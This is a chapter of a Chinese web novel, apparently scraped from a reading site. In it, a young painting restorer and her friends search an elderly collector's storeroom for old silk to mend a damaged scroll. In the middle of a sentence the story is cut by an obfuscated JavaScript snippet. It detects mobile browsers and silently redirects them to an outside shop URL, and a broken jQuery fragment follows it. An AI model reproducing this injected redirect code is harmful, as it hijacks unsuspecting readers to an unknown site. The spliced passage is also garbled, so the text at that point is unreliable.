文趣网 > 都市小说 > 我在丝路修文物 > 89. 第八十九章
    “对啊。”徐老用哄孩子的语气道,“各种各样的呢,只有你想不到的。”

    “哦,这样。”白茈音拖长了语气,“那有吴绢么?”

    “有啊。”徐老一边随意下棋,一边应声,“浅色的,又轻又薄,裁夏天衣裳好。”

    白茈音拧了拧眉头:“不是那种……要细密绢,画画用的。”

    “呦,你还懂绢本画呢?”徐老诧然道。

    “不懂。”白茈音摇头,“岁岁姐姐懂,她修画需要。所以,徐爷爷你这有么?”

    “有——”徐老拖长了调子,“装裱用的锦和绢,也有。”他放下棋子,笑看着眼前这个小丫头,“你这孩子,真是灵精。有求于人的时候就喊‘徐爷爷’,平日里不客气的时候,就嚷嚷悔棋的‘徐半老’。”

    “本来就是。”白茈音年少不知天高,可不惯着他的脾气,“悔棋快,还收招……我下棋这么久了,你还是头一个呢。”

    “哦吼,那还真是呢。”徐老乐了,“三年好不容易碰上一个,不得了。”

    棋好不容易下完了,两人一道喝茶。

    徐老喝的是掺了茉莉花的碧螺春,香气清雅。

    白茈音喝的则是井水凉过的饮子,有绿豆味,还带着奶香,是徐家特意给她准备的。

    徐老喝完茶,心情很好:“问你估计你也不知道具体要什么样子的。这样,你哪天得空,带你那岁岁姐过来我这瞧瞧,看有没有她要找的吴绢。屋里没有就去仓库箱子里找找,应该能找着。”

    “哎——但愿吧。”白茈音喝完饮子,叹道。

    她并不抱太大期待。

    只是觉得叶轻辞那边找得实在辛苦,能帮一点是一点。

    “嘿,”徐老反而起了劲儿,“都说我这库存多,怎么还不信呢?”

    “修画用的,哪就这么巧,刚刚好能找到。”白茈音掀起眼帘,觉得对坐的老爷爷实在有些不稳重。

    难怪总是输棋。

    “一定能成。”徐老放下话,“不成,我请你吃正宗的苏式桂花糕。”

    白茈音眼睛亮了亮。

    那东西糖分高,徐家也不常做。

    偶尔那么一回,徐老自己留着解馋用。

    她之前跟外公来这边百年的时候吃过,味道确实好。

    “行,你说的。”

    然后,徐老就被打脸了。

    *

    次日一早,叶轻辞被叶知新从床上摇醒。

    “姐姐,姐姐——白姐让你早上七点去雨花巷子等她!”

    叶轻辞迷迷糊糊坐起来,看了眼窗外,天刚亮。

    白茈音?

    她揉揉眼睛,想起昨天叶知新晚饭前确实说了有惊喜要告诉她。

    只小家伙吃过饭晕碳,说眯一会儿却直接睡过去了,压根没说。

    她当时没当回事,以为是小孩闹着玩。

    现在看来,是真有事。

    洗漱完,吃过早饭,叶轻辞估摸着时间出门往雨花巷子走。

    雨花巷子在城南,离甜水巷不远,脚步快的话半小时就能到。

    走到巷口,她远远就看见两个人影。

    白茈音站在树下,正踮着脚往这边张望,旁边还站着一个人。

    “阿音,随舟,早上好!”叶轻辞快步走过去。

    “岁岁姐,早。”白茈音应了一声,拉住她的手就要往里走。

    叶轻辞却看向云随舟,眼里带着点意外:“你也来了?”

    云随舟微笑:“嗯,好奇。”

    三人一道,白茈音打头,轻车熟路走到巷子深处,在一扇黑漆木门前停下。

    “咚咚咚——”

    开门的是个少年,十六七岁模样,眉眼清俊,气质沉静。

    他穿着一件白色短袖,目光落在叶轻辞身上,微微顿了一下,随即落在了白茈音身后。

    两人目光对上。

    “稀客?”徐玄绎微微颔首。

    “打扰。”云随舟点头,“陪我妹妹一块。”

    徐玄绎闻言,挑了挑眉。

    “徐哥好。”白茈音可不管他们之间那点若有若无的熟稔,象征性打过招呼,牵着叶轻辞的手就往院子里跑:“岁岁姐,这边!”

    叶轻辞被她拉着往里走,回头看了一眼。

    云随舟和徐玄绎还站在门口,低声说了些什么,才一起跟了进来。

    院子里别有洞天。

    和顾老的听雨轩完全是两种风格。

    如果说,顾老那儿是雅致中带着敞亮大气的北方院落,青砖灰瓦,方正开阔。

    那徐家这边则完全是典型的江南庭院,小巧玲珑,一步一景。

    一栋两层小楼坐北朝南,青瓦覆顶,木窗雕花,檐角微微上翘。

    楼前是一洼小池,水清见底,几尾锦鲤悠游其中。

    池边堆着几块太湖石,瘦漏透皱,姿态奇崛。

    晨光从东边斜斜照进来,落在池水上,波光粼粼,又反射到白墙上,光影摇曳。

    叶轻辞不由得放慢了脚步。

    这地方……怎么说呢,一看便是被人精心打理着。

    白茈音拉着她在池边的石凳上坐下,那两个少年也跟了过来,各自落座。

    叶轻辞看向云随舟,又看向那个陌生的少年。

    “认识?”她问云随舟。

    云随舟刚要开口,那少年却抢先一步,微微颔首。

    “我是徐玄绎,二中的。”他声音清朗,带着恰到好处的礼貌,“初次见面,叶轻辞,久仰大名了。”目光落在她身上,似乎在看一个熟悉的人。

    叶轻辞愣了一下。

    久仰大名?

    她仔细打量对方,在脑海里搜索这张脸。

    没有。

    完全没有印象。

    “你好。”她应道,顿了顿,还是没忍住问,“我们之前见过?”

    这问题问出来,她自己都觉得有点尴尬。

    要是放在互联网时代,这种“别人认识你你不认识别人”的场面,妥妥的社交尴尬场,心态差点脚趾都能扣爆。

    她的记性,什么时候这么差了?

    “没有正式打过招呼。”徐玄绎笑了笑,“但是在好几次活动上遇见过。”

    他没说的是,那是小学二三年级的事了。

    临城每年都有书法比赛,他参加过几回,从来拿不了一等奖。

    反倒是总能在领奖台上看见叶轻辞。

    一次、两次、三次……自然而然便记住了。

    后来他发现自己实在没什么天赋,果断转行走竞赛路子,这才认识了云随舟。

    “……这样。”叶轻辞略显尴尬地笑了笑。

    云随舟在旁边轻咳一声,算是浅救叶轻辞于水火:“我跟他也是在活动上认识的,后面一起参加过几回省里的竞赛,一来二往熟络起来。”

    “嗯。”徐玄绎接过话头,“数学的,物理的,都碰到过。”他看向云随舟,“上次考试,你坐我前面。”

    云随舟点头,问他:“你最后一道大题用了多久?”

    “二十五分钟,第三小题没做完,时间不够。”

    云随舟:“……那差不多,我第二问跳了些步骤,时间也不大够。”

    两人对视一眼,都笑了。

    叶轻辞看着这一幕,心里大概有了数。

    她想起云随舟说过,二中的竞赛班这几年成绩不错,和一中不分伯仲。

    两个人算是那种英雄惜英雄,赛场上交过手,私下往来却不多。

    “以你的成绩,上一中应该很简单。”她随口道。

    “对。”徐玄绎应道,“但是家里离二中最近。”

    叶轻辞歪头思考。

    绕巷子口出去,右转走过再右转,到二中正门,少说走两里路,很近么?

    徐玄绎似乎看出她的疑惑,解释道:“这里四边都有门。走另一个小门出,再走二中西门进的话,直线距离不过五百米。”

    叶轻辞:“……”打扰。

    感情是带院的学区房,那确实没话说。

    正说着,屋里走出一个头发花白的老人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408298|194440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,穿着一件浅灰色的对襟衫,精神矍铄。

    “小茈音来了。”徐老笑呵呵地走过来,目光落在叶轻辞身上,问道,“这就是你说的那个修画的小朋友?”

    “对。”白茈音点头,“岁岁姐,这是徐爷爷。”

    叶轻辞站起身,微微欠身:“徐爷爷好,打扰了。”

    “不客气,我就退休老头儿一个,闲着也是闲着。”徐老摆摆手。

    他给一行人倒了茶,开门见山问:“小茈音说你在找吴绢,且让我看看,你要找什么样的布料?”

    “约莫是这样的。”

    叶轻辞打开了随身的小盒子,里头卧着两块颜色相近的绢料——一块是从《寻溪图》原画上勾破的残片,约莫二指宽的小条;另一块是之前在秦家小院找到的补绢边角。

    “……颜色不挑,劳烦您瞧瞧。”她把盒子递给徐老,“或者,类似这两样的也行。不好意思,因为东西少,只有这么一点点参照。”

    徐老接过,先看残片,又看补绢。

    他眯起眼睛,对着光端详,手指轻轻捻动,感受绢的质地。

    一开始,他的神色还正常。

    越细瞧,眉头越拧。

    “你这……”他抬起头,看向叶轻辞,“得是老东西吧?”他问。

    “是。”叶轻辞点头。

    “不是装裱用?”徐老追问。

    “也装裱,但主要是修补用,绢本的画。”叶轻辞无奈笑了笑,“最近几回赶巧,都是绢本的东西,破损得厉害,补的料子不够,只能厚着脸来您这碰碰运气。”

    徐老沉默了一会儿,把那两小块绢翻来覆去看了又看,最后叹了口气。

    “院绢底子,但还要薄……”他摇摇头,“难找。”

    叶轻辞理解地点头:“是。”

    “哎——”白茈音在旁边叹气,“果然,不能期待太高。”

    “做什么?”徐老睨了她一眼,“小妮子,我只是说难找,可没说找不到。”

    白茈音抬眸。

    叶轻辞也抬起头。

    “玄绎,你扶我起来。”徐老道。

    “是,爷爷。”徐玄绎上前,扶住老人的胳膊。

    白茈音和叶轻辞对视一眼,跟在后面。

    穿过堂屋,绕到后院,推开一扇厚重的木门,是一间不大的储物室。

    靠墙立着几排木架,上面堆满大大小小的箱笼。

    “这些年攒的,都在这里了。”徐老指了指,“有些是老宅子搬过来的,有些是后头收的。家里人打理得好,都还在。”

    他指挥徐玄绎搬下几只箱子,又招呼云随舟帮忙打开:“轻点轻点,别磕着。”

    两个男生动作麻溜,一点没让叶轻辞干重活。

    叶轻辞想搭把手,徐老忙止住她:“不用,让这两个做。你这手修复用的,干得都是精细活,不搬重物的好。”

    白茈音帮理不帮亲,点头道:“有理。”

    叶轻辞只好闲着。

    箱子一只只打开,里头用绸布裹着的,是一卷卷各色织品。

    有锦,有绫,但更多的还是素娟。

    徐玄绎和云随舟按徐老的吩咐,把可能相关的绢料一件件取出,放在旁边的长桌上。

    徐老亲自过目,叶轻辞在旁边看。

    第一块,质地相近,纹路相异,不行;

    第二块,颜色对了,经纬密度太稀,不行;

    第三块,密度合适,丝线捻度不同,手感偏硬,不行;

    第四块,第五块,第六块……

    一块块看过,又一块块放下。

    一通忙活下来,找到了三四块质地相近的,可惜颜色差得有些远,柔韧度和厚度也有差别。

    “嗐。”徐老又分别摸了摸几块料子,叹气道,“换从前,估计能找到更类似的。可惜好些都置换出去了,还有些搁老宅子里,不一定保存得好。眼下能找到的,就这些了。”

    叶轻辞正要开口说“已经很好了”,旁边的徐玄绎忽然道:“妈妈的嫁妆箱子里,可能有。”